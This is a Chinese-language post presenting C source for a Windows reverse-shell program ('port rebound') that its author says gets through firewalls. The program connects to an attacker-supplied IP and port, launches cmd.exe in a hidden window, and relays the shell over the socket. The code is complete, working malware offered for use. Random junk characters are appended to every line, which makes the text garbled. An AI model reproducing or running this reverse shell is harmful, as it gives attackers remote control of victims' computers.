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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iq*im$9 J  
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/* ============================== CdF;0A9.3  
Rebound port in Windows NT O\.^H/  
By wind,2006/7 l<w7 \a6  
===============================*/ udqrHR5  
#include Q3ty K{JE  
#include .*x:  
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#pragma comment(lib,"wsock32.lib") }lIc{R@H  
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void OutputShell(); `jGeS[FhR  
SOCKET sClient; gMI%!Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #vBrRHuA#"  
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void main(int argc,char **argv) llP V{  
{ )vS0Au^C~  
WSADATA stWsaData; fgd2jr 3T  
int nRet; !CUl1L1DSi  
SOCKADDR_IN stSaiClient,stSaiServer; 4W" A*A  
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if(argc != 3) _ l|%~  
{ u9"yU:1keb  
printf("Useage:\n\rRebound DestIP DestPort\n"); = g{I`u  
return; QMBT8x/+_'  
} ;|WUbc6&g  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Uw("+[5O0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @}H u)HO  
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stSaiClient.sin_family = AF_INET; 'nq=xi@RC  
stSaiClient.sin_port = htons(0); Jj\4P1|'7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ei_ ~ K';  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W^[FWFUTY  
{ *)Qv;'U=rn  
printf("Bind Socket Failed!\n"); Xj\ToO  
return; \Osu1]Jn>  
} R'v~:wNTNs  
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stSaiServer.sin_family = AF_INET; }*6BaB  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !"F;wg$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); op}!1y$9P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y6v{eWtSn  
{ /A7( `l;6  
printf("Connect Error!"); O=2|'L'h!  
return; !1)aie+p6  
} n4k q=Z%  
OutputShell(); x]c8?H9,&  
} ZIx-mC5  
h-P|O6@Ki  
void OutputShell() oN1D&*  
{ N[/<xW~x?4  
char szBuff[1024]; 0VNLhM(LM  
SECURITY_ATTRIBUTES stSecurityAttributes; P1mg;!tq  
OSVERSIONINFO stOsversionInfo; G}pFy0W\S  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W"Ip]LJ  
STARTUPINFO stStartupInfo; =npE?wK  
char *szShell; ~*iF`T6  
PROCESS_INFORMATION stProcessInformation; %y6Q3@  
unsigned long lBytesRead; Pzso^^g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *9j'@2!M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <VxA&bb7c  
stSecurityAttributes.lpSecurityDescriptor = 0; aRMlE*yW  
stSecurityAttributes.bInheritHandle = TRUE; {zb'Z Yz  
*?X&Y8Kf  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *E/Bfp1LIe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;b{#$#`=  
 ~71U s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7H3v[ f^Q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =d{6=2Pt  
stStartupInfo.wShowWindow = SW_HIDE; N!K%aH~O  
stStartupInfo.hStdInput = hReadPipe; *I]]Ogpq=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oV%:XuywT  
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GetVersionEx(&stOsversionInfo); H a!,9{T  
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switch(stOsversionInfo.dwPlatformId) w5m /[Z  
{ SxRJ{m~  
case 1: xk,Uf,,>  
szShell = "command.com"; J8:s=#5  
break; layxtECP(  
default: !eyLh&]5  
szShell = "cmd.exe"; N1'`^ay$  
break; eGEwXza 4  
} eft=k}  
c-$rB_t+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %%No XW  
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send(sClient,szMsg,77,0); 'NtI bS  
while(1) Usf@kVQ  
{ px;~20$e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B[uyr)$  
if(lBytesRead) Ub3$`  
{ Bq8#'K2i,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bsQ'kBD  
send(sClient,szBuff,lBytesRead,0); "^4*,41U  
} 5sY $  
else )O[8 D  
{ hY4#4A`I  
lBytesRead=recv(sClient,szBuff,1024,0); ~-'2jb*8  
if(lBytesRead<=0) break; M1Q&)am  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5=TgOS]R  
} *Dg@fxCQ  
} J*zzjtY( 1  
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return; 0C<\m\|~k  
}
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